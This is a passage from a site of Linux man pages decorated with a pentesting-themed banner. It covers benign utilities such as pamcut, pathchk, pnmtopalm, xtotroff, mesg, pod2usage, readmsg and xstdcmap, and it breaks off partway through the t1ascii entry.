To use arguments, specify all four of the left, top, width, and height arguments. left and top have the same effect as specifying them as the argument of a -left or -top option, respectively. width and height have the same effect as specifying them as the argument of a -width or -height option, respectively, where they are positive. Where they are not positive, they have the same effect as specifying one less than the value as the argument to a -right or -bottom option, respectively. (E.g. width = 0 makes the cut go all the way to the right edge). Before July 2000, negative numbers were not allowed for width and height.

Input is from Standard Input if you don’t specify the input file pnmfile.

Output is to Standard Output.

pamcut works on a multi-image stream. It cuts each image in the stream independently and produces a multi-image stream output. Before Netpbm 10.32 (March 2006), it ignored all but the first image in the stream.

If you are splitting a single image into multiple same-size images, pamdice is faster and easier than running pamcut multiple times.

pamcomp is also useful for cutting and padding an image to a certain size. You create a background image of the desired frame dimensions and overlay the subject image on it.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamcut recognizes the following command line options:

**-left=**colnum
The column number of the leftmost column to be in the output. Columns left of this get cut out. If a nonnegative number, it refers to columns numbered from 0 at the left, increasing to the right. If negative, it refers to columns numbered -1 at the right, decreasing to the left.

**-right=**colnum
The column number of the rightmost column to be in the output, numbered the same as for -left. Columns to the right of this get cut out.

**-top=**rownum
The row number of the topmost row to be in the output. Rows above this get cut out. If a nonnegative number it refers to rows numbered from 0 at the top, increasing downward. If negative, it refers to columns numbered -1 at the bottom, decreasing upward.

**-bottom=**rownum
The row number of the bottom-most row to be in the output, numbered the same as for -top. Rows below this get cut out.

**-width=**cols
The number of columns to be in the output. Must be positive.

**-height=**rows
The number of rows to be in the output. Must be positive.

-cropleft
-cropright
-croptop
-cropbottom
These options tell how many rows or columns to crop from the left, right, top, or bottom edges, respectively.

The value must not be negative.

These option were new in Netpbm 10.85 (December 2018). Before that, you can achieve the same thing with -left, top, and negative values for -right and -bottom. Remember to subtract one in the latter case; e.g. the equivalent of -cropright=1 is -right=-2.

-pad
If the rectangle you specify is not entirely within the input image, pamcut fails unless you also specify -pad. In that case, it pads the output with black up to the edges you specify. You can use this option if you need to have an image of certain dimensions and have an image of arbitrary dimensions.

pnmpad also adds borders to an image, but you specify their width directly.

pamcomp does a more general form of this padding. Create a background image of the frame dimensions and overlay the subject image on it. You can use options to have the subject image in the center of the frame or against any edge and make the padding any color (the padding color is the color of the background image).

-reportonly
This causes pamcut to write to Standard Output a description of the cutting it would have done instead of producing an output image. See below for a description of this output and ways to use it.

That description is one line of text, containing 8 decimal numbers of pixels, separated by spaces:

  • column number of left cut

  • column number of right cut

  • row number of top cut

  • row number of bottom cut

  • width of input image

  • height of input image

  • width of output image

  • height of output image

The column number of the left cut is the column number in the input image of the leftmost column of the output image. for the right cut, it is for the rightmost column of the output. Top and bottom are analogous.

The column and row numbers can be negative if you specified -pad and pamcut would have added padding. Likewise, they can be beyond the right and bottom edge of the input image.

Example:

      10 109 -1 98 150 80 100 100

This option was new in Netpbm 11.06 (March 2024).

-verbose
Print information about the processing to Standard Error.

SEE ALSO

pnmcrop(1) , pamdice(1) , pamcomp(1) , pnmpad(1) , pamcat(1) , pgmslice(1) , pnm(1)

HISTORY

pamcut was derived from pnmcut in Netpbm 9.20 (May 2001). It was the first Netpbm program adapted to the new PAM format and programming library.

The predecessor pnmcut was one of the oldest tools in the Netpbm package.

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamcut.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

294 - Linux cli command pathchk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pathchk and provides detailed information about the command pathchk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pathchk.

NAME 🖥️ pathchk 🖥️

check whether file names are valid or portable

SYNOPSIS

pathchk [OPTION]… NAME

DESCRIPTION

Diagnose invalid or non-portable file names.

-p
check for most POSIX systems

-P
check for empty names and leading “-”

–portability
check for all POSIX systems (equivalent to -p -P)

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Paul Eggert, David MacKenzie, and Jim Meyering.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/pathchk>
or available locally via: info ‘(coreutils) pathchk invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

295 - Linux cli command pnmtopalm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtopalm and provides detailed information about the command pnmtopalm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtopalm.

.

NAME 🖥️ pnmtopalm 🖥️

convert a PNM image to a Palm Bitmap

SYNOPSIS

pnmtopalm

[-verbose]

[**-depth=**N]

[**-maxdepth=**N]

[-colormap]

[**-transparent=**colorspec]

[**-density=**N]

[-offset]

[-withdummy] [-scanline_compression | -rle_compression | -packbits_compression]

[pnmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmtopalm reads a PNM image as input, from Standard Input or pnmfile and produces a Palm Bitmap as output.

Palm Bitmap files are either grayscale files with 1, 2, or 4 bits per pixel, or mapped color files with 8 bit per pixel, or a direct color file with 16 bits per pixel, and pnmtopalm chooses this color depth based on the maxval and number of colors in the input, unless you specify a depth (bits per pixel) with -depth. You can also specify a maximum depth with -maxdepth to partially constrain pnmtopalm’s choice. Input files must have an appropriate number and set of colors for the selected output constraints.

This often means that you should run the PNM image through pnmquant or pnmremap before you pass it to pnmtopalm. Netpbm comes with several colormap files you can use with pnmremap for this purpose. They are palmgray2.map (4 shades of gray for a depth of 2), palmgray4.map (16 shades of gray for a depth of 4), and palmcolor8.map (232 colors in default Palm colormap). In a standard Netpbm installation, these are in the Netpbm data directory, and you can find the Netpbm data directory with a netpbm-config –datadir shell command.

Example:

  pnmremap myimage.ppm \
           -mapfile=$(netpbm-config --datadir)/palmgray2.map \
  | pnmtopalm -depth=2 >myimage.palm

Compressed Palm Bitmap files, at least the ones pnmtopalm knows how to create, cannot have more than 8 bits per pixel. pnmtopalm defaults to 8 bits per pixel if you specify a compressed output. You can specify the number of bits per pixel explicitly with -depth. -maxdepth has the same effect as -depth. If you specify more than 8 bits per pixel with either of these, pnmtopalm fails.

Palm Bitmap Version

pnmtopalm generates a Version 0, 1, 2, or 3 Palm Bitmap. It generates the oldest (lowest) version it can for the given image and the options you specify.

  • If you specify a density (-density option) higher than “low,” the version is at least 3.

  • If you specify transparency (-transparent option) or any compression, the version is at least 2.

  • If you specify a custom colormap (-colormap option), the version is at least 1.

  • If the image has more than one bit per pixel, the version is at least 1. The image has more than one bit per pixel if you specify it with -depth or if you let it default and the image has more than two colors (or shades of gray).

All releases of Palm OS can read a Version 0 bitmap. Palm OS 3.0 and later can read a Version 1 bitmap. Palm OS 3.5 and later can read a Version 2 bitmap. To read a Version 3 bitmap, you need Palm OS Garnet or a handheld running the High Density Display Feature Set.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtopalm recognizes the following command line options:

-verbose
Display the format of the output file.

**-depth=**N
Produce a file of depth N, where N must be either 1, 2, 4, 8, or 16. Because the default Palm 8-bit colormap is not grayscale, if the input is a grayscale or monochrome image, the output will never be more than 4 bits deep, regardless of the specified depth. Note that 8-bit color works only in PalmOS 3.5 (and higher), and 16-bit direct color works only in PalmOS 4.0 (and higher). However, the 16-bit direct color format is also compatible with the various PalmOS 3.x versions used in the Handspring Visor, so these images may also work in that device.

**-maxdepth=**N
Produce a file of minimal depth, but in any case less than N bits wide. If you specify 16-bit, the output will always be 16-bit direct color.

-offset
Set the nextDepthOffset field in the palm file header to indicate the end of the file (and pad the end of the file to 4 bytes, since nextDepthOffset can point only to 4 byte boundaries).

A palm image file can contain multiple renditions of the same image, with different color depths, so a viewer can choose one appropriate for the display. The nextDepthOffset field tells where in the stream the next rendition begins.

pnmtopalm creates a file that contains only one image, but you can separately concatenate multiple one-image files to create a multi-image file. If you do that, you’ll need to use -offset so that the resulting concatenation is a correct stream.

By default (if you don’t specify -offset), pnmtopalm generates a nextDepthOffset field that says there is no following image (and does not add any padding after the image).

Version 3 Palm Bitmaps actually have a nextBitmapOffset field instead of the nextDepthOffset. The foregoing applies to whichever is relevant.

The -offset option was new in Netpbm 10.26 (January 2005). Before that, pnmtopalm always set the nextDepthOffset field to “none.”

Before Netpbm 10.27 (March 2005), you cannot use -offset if you create a compressed raster (because pnmtopalm isn’t smart enough to be able to know the size of the image at the time it writes the header). You also cannot use it with 16 bit color depth or with the -colormap option, for much the same reason.

-withdummy
This option tells pnmtopalm to put in the stream, after the image, a dummy image header to introduce subsequent high density images.

This dummy image header is a special sequence specified in Palm Bitmap specifications. It looks to an older Palm Bitmap interpreter like an invalid image header, so such an interpreter will stop reading the stream there. But a new Palm Bitmap interpreter recognizes it for what it is (just something to choke an old interpreter) and skips over it. Presumably, you will add to the stream after this high density images which would confuse an older interpreter.

If you specify -withdummy, you must also specify -offset, since it doesn’t make any sense otherwise.

-withdummy was new in Netpbm 10.27 (March 2005).

-colormap
Build a custom colormap and include it in the output file. This is not recommended by Palm, for efficiency reasons. Otherwise, pnmtopalm uses the default Palm colormap for color output.

**-transparent=**colorspec
Marks one particular color as fully transparent.

colorspec is as described for the argument of the pnm_parsecolor() library routine .

Transparency works only on Palm OS 3.5 and higher.

-scanline_compression
Specifies that the output Palm bitmap will use the Palm scanline compression scheme. Scanline compression works only in Palm OS 2.0 and higher.

-rle_compression
Specifies that the output Palm bitmap will use the Palm RLE compression scheme. RLE compression works only with Palm OS 3.5 and higher.

-packbits_compression
Specifies that the output Palm bitmap will use the Palm packbits compression scheme. Packbits compression works only with Palm OS 4.0 and higher.

This option was new in Netpbm 10.27 (March 2005).

-density=N
This specifies the Palm Bitmap density. The density is a number that is proportional to the resolution the image should have when displayed. The proportionality factor is up to whatever is doing the displaying, but it’s helpful to think of these numbers as being pixels per inch. The allowable values are:

  • 72

  • 108

  • 144

  • 216

  • 288

This option was new in Netpbm 10.27 (March 2005). Earlier Netpbm could not generate Version 3 Palm Bitmaps, so there was no such thing as density.

SEE ALSO

palmtopnm(1) , pdbimgtopam(1) , pnmquant(1) , pnmremap(1) , pnm(1)

NOTES

Palm Bitmaps may contains multiple renditions of the same bitmap, in different depths. To construct an N-multiple-rendition Palm Bitmap with pnmtopalm, first construct renditions 1 through N-1 using the -offset option, then construct the Nth image without the -offset option. Then concatenate the individual renditions together in a single file using cat.

If you will include both high density and low density renditions, put the high density images last and when you create the last of the low density images, use the -withdummy option.

If you specify the Palm packbits compression scheme for a 16-bit direct color bitmap, this program generates an invalid bitmap.

AUTHORS

This program was originally written as ppmtoTbmp.c, by Ian Goldberg and George Caswell. It was completely re-written by Bill Janssen to add color, compression, and transparency function. Copyright 1995-2001 by Ian Goldberg, George Caswell, and Bill Janssen.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtopalm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

296 - Linux cli command xtotroff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xtotroff and provides detailed information about the command xtotroff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xtotroff.

Name

xtotroff - convert X font metrics into groff font metrics

Synopsis

xtotroff [-d ** destination-directory] [-r ** resolution] [**-s ** type-size] font-map xtotroff –help xtotroff -v xtotroff –version

Description

xtotroff uses font-map to create

font description files from X11 fonts. Each line in font-map consists of a series of lines of paired groff font names and X font names as X Logical Font Description (XLFD) patterns, with the pair members separated by spaces and/or tabs. For example, an input font-map file consisting of the line

TB -adobe-times-bold-r-normal–----p-*-iso8859-1

maps the XLFD on the right to the groff font name TB, conventionally “Times bold”.

xtotroff opens a connection to the running X server to query its font catalog, and aborts if it cannot. If necessary, the wildcards in the XLFD patterns are populated with the arguments to the -r and -s options. If a font name is still ambiguous, xtotroff aborts. For each successful mapping, xtotroff creates a groff font description file in the current working directory (or that specified by the -d option) named for each groff font, and reports the mapping to the standard output stream.

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

**-d **destination-directory
Write font descriptions to destination-directory rather than the current working directory.

**-r **resolution
Set the resolution for all font patterns in font-map. The value is used for both the horizontal and vertical motion quanta. If not specified, a resolution of 75dpi is assumed.

**-s **type-size
Set the type size in points for all font patterns in font-map. If not specified, a size of 10 points is assumed.

Files

/usr/share/groff/1.23.0/font/FontMap-X11
is the font mapping file used to produce the pre-generated font description files, supplied with groff, of X11 core fonts corresponding to the 13 base Type 1 fonts for PostScript level 1.

Bugs

The only supported font encodings are “iso8859-1” and “adobe-fontspecific”.

See also

“X Logical Font Description Conventions”, by Jim Flowers and Stephen Gildea.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

297 - Linux cli command mesg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mesg and provides detailed information about the command mesg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mesg.

NAME 🖥️ mesg 🖥️

display (or do not display) messages from other users

SYNOPSIS

mesg [option] [n|y]

DESCRIPTION

The mesg utility is invoked by a user to control write access others have to the terminal device associated with standard error output. If write access is allowed, then programs such as talk(1) and write(1) may display messages on the terminal.

Traditionally, write access is allowed by default. However, as users become more conscious of various security risks, there is a trend to remove write access by default, at least for the primary login shell. To make sure your ttys are set the way you want them to be set, mesg should be executed in your login scripts.

The mesg utility silently exits with error status 2 if not executed on a terminal. In this case executing mesg is pointless. The command line option –verbose forces mesg to print a warning in this situation. This behaviour has been introduced in version 2.33.

ARGUMENTS

n

Disallow messages.

y

Allow messages to be displayed.

If no arguments are given, mesg shows the current message status on standard error output.

OPTIONS

-v, –verbose

Explain what is being done.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

EXIT STATUS

The mesg utility exits with one of the following values:

0

Messages are allowed.

1

Messages are not allowed.

>1

An error has occurred.

FILES

/dev/[pt]ty*, /dev/pts/[0-9]*

HISTORY

mesg (I) appears in the UNIX Programmer’s Manual. It used to invert the current state with no argument before Version 7 AT&T UNIX.

SEE ALSO

login(1), talk(1), write(1), wall(1), xterm(1)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The mesg command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

298 - Linux cli command pod2usage

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pod2usage and provides detailed information about the command pod2usage, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pod2usage.

NAME 🖥️ pod2usage 🖥️

print usage messages from embedded pod docs in files

SYNOPSIS

pod2usage
[-help] [-man] [-exit exitval] [-output outfile] [-verbose level] [-pathlist dirlist] [-formatter module] [-utf8] file

OPTIONS AND ARGUMENTS

-help
Print a brief help message and exit.

-man
Print this command’s manual page and exit.

-exit exitval
The exit status value to return.

-output outfile
The output file to print to. If the special names “-” or “>&1” or “>&STDOUT” are used then standard output is used. If “>&2” or “>&STDERR” is used then standard error is used.

-verbose level
The desired level of verbosity to use: 1 : print SYNOPSIS only 2 : print SYNOPSIS sections and any OPTIONS/ARGUMENTS sections 3 : print the entire manpage (similar to running pod2text)

-pathlist dirlist
Specifies one or more directories to search for the input file if it was not supplied with an absolute path. Each directory path in the given list should be separated by a ‘:’ on Unix (’;’ on MSWin32 and DOS).

-formatter module
Which text formatter to use. Default is Pod::Text, or for very old Perl versions Pod::PlainText. An alternative would be e.g. Pod::Text::Termcap.

-utf8
This option assumes that the formatter (see above) understands the option “utf8”. It turns on generation of utf8 output.

file
The pathname of a file containing pod documentation to be output in usage message format. If omitted, standard input is read - but the output is then formatted with Pod::Text only - unless a specific formatter has been specified with -formatter.

DESCRIPTION

pod2usage will read the given input file looking for pod documentation and will print the corresponding usage message. If no input file is specified then standard input is read.

pod2usage invokes the pod2usage() function in the Pod::Usage module. Please see “pod2usage()” in Pod::Usage.

SEE ALSO

Pod::Usage, pod2text, Pod::Text, Pod::Text::Termcap, perldoc

AUTHOR

Please report bugs using <http://rt.cpan.org>.

Brad Appleton <[email protected]>

Based on code for pod2text (1) written by Tom Christiansen <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

299 - Linux cli command readmsg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command readmsg and provides detailed information about the command readmsg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the readmsg.

NAME 🖥️ readmsg 🖥️

print messages.

SYNOPSIS

readmsg.mailutils [OPTION…]

DESCRIPTION

GNU readmsg print messages.

-a, –[no-]show-all-match
print all messages matching pattern, not only the first

-d, –debug
display debugging information

-e, –exact
match exact string (default)

-f, –folder=FOLDER
folder to use

-g, –glob
match using globbing pattern

-h, –[no-]header
display entire headers

-i, –ignorecase
case-insensitive matching

-m, –[no-]mime
decode MIME messages on output

-n, –[no-]no-header
exclude all headers

-p, –[no-]form-feeds
output formfeeds between messages

-r, –regex
match using POSIX regular expressions

-w, –weedlist=LIST
list of header names separated by whitespace or commas

Global debugging settings

–debug-level=LEVEL
set Mailutils debugging level

–[no-]debug-line-info show source info with debugging messages

Configuration handling

–config-file=FILE
load this configuration file; implies –no-config

–config-lint
check configuration file syntax and exit

–config-verbose
verbosely log parsing of the configuration files

–no-config
do not load site and user configuration files

–no-site-config
do not load site-wide configuration file

–no-user-config
do not load user configuration file

–set=PARAM=VALUE
set configuration parameter

Informational options

–config-help
show configuration file summary

–show-config-options
show compilation options

-?, –help
give this help list

–usage
give a short usage message

-V, –version
print program version

Mandatory or optional arguments to long options are also mandatory or optional for any corresponding short options.

REPORTING BUGS

Report bugs to <[email protected]>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2007-2024 Free Software Foundation, inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The complete GNU mailutils documentation is maintained as a Texinfo manual. If the mailutils-doc package is installed, the command

info mailutils

should give you access to the complete manual.
You can also find this manual online in the GNU mailutils webpage:
https://www.gnu.org/software/mailutils/manual/index.html.
Please note this manpage was automatically generated by the Debian mailutils packagers. Do not file bugs for its content to the GNU Mailutils upstream authors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

300 - Linux cli command xstdcmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xstdcmap and provides detailed information about the command xstdcmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xstdcmap.

NAME 🖥️ xstdcmap 🖥️

X standard colormap utility

SYNOPSIS

xstdcmap [-all] [-best] [-blue] [-default] [-delete map] [-display dpy] [-gray] [-green] [-help] [-red] [-verbose] [-version]

DESCRIPTION

The xstdcmap utility can be used to selectively define standard colormap properties. It is intended to be run from a user’s X startup script to create standard colormap definitions in order to facilitate sharing of scarce colormap resources among clients. Where at all possible, colormaps are created with read-only allocations.

OPTIONS

The following options may be used with xstdcmap:

-all
This option indicates that all six standard colormap properties should be defined on each screen of the display. Not all screens will support visuals under which all six standard colormap properties are meaningful. xstdcmap will determine the best allocations and visuals for the colormap properties of a screen. Any previously existing standard colormap properties will be replaced.

-best
This option indicates that the RGB_BEST_MAP should be defined.

-blue
This option indicates that the RGB_BLUE_MAP should be defined.

-default
This option indicates that the RGB_DEFAULT_MAP should be defined.

-delete map
This option specifies that a specific standard colormap property, or all such properties, should be removed. map may be one of: default, best, red, green, blue, gray, or all.

-display dpy
This option specifies the host and display to use; see X(7).

-gray
This option indicates that the RGB_GRAY_MAP should be defined.

-green
This option indicates that the RGB_GREEN_MAP should be defined.

-help
This option indicates that a brief description of the command line arguments should be printed on the standard error. This will be done whenever an unhandled argument is given to xstdcmap.

-red
This option indicates that the RGB_RED_MAP should be defined.

-verbose
This option indicates that xstdcmap should print logging information as it parses its input and defines the standard colormap properties.

-version
This option indicates that xstdcmap should print its version and exit.

ENVIRONMENT

DISPLAY
to get default host and display number.

SEE ALSO

X(7)

AUTHOR

Donna Converse, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

301 - Linux cli command t1ascii

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command t1ascii and provides detailed information about the command t1ascii, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the t1ascii.

NAME 🖥️ t1ascii 🖥️

convert PostScript Type 1 font from binary to ASCII

SYNOPSIS

t1ascii [-l length] [input [output]]

DESCRIPTION

t1ascii converts Adobe Type 1 font programs in PFB (binary) format to PFA (hexadecimal) format. If the file output is not specified output goes to the standard output. If the file input is not specified input comes from the standard input.

OPTIONS

**–line-length=**num, -l num
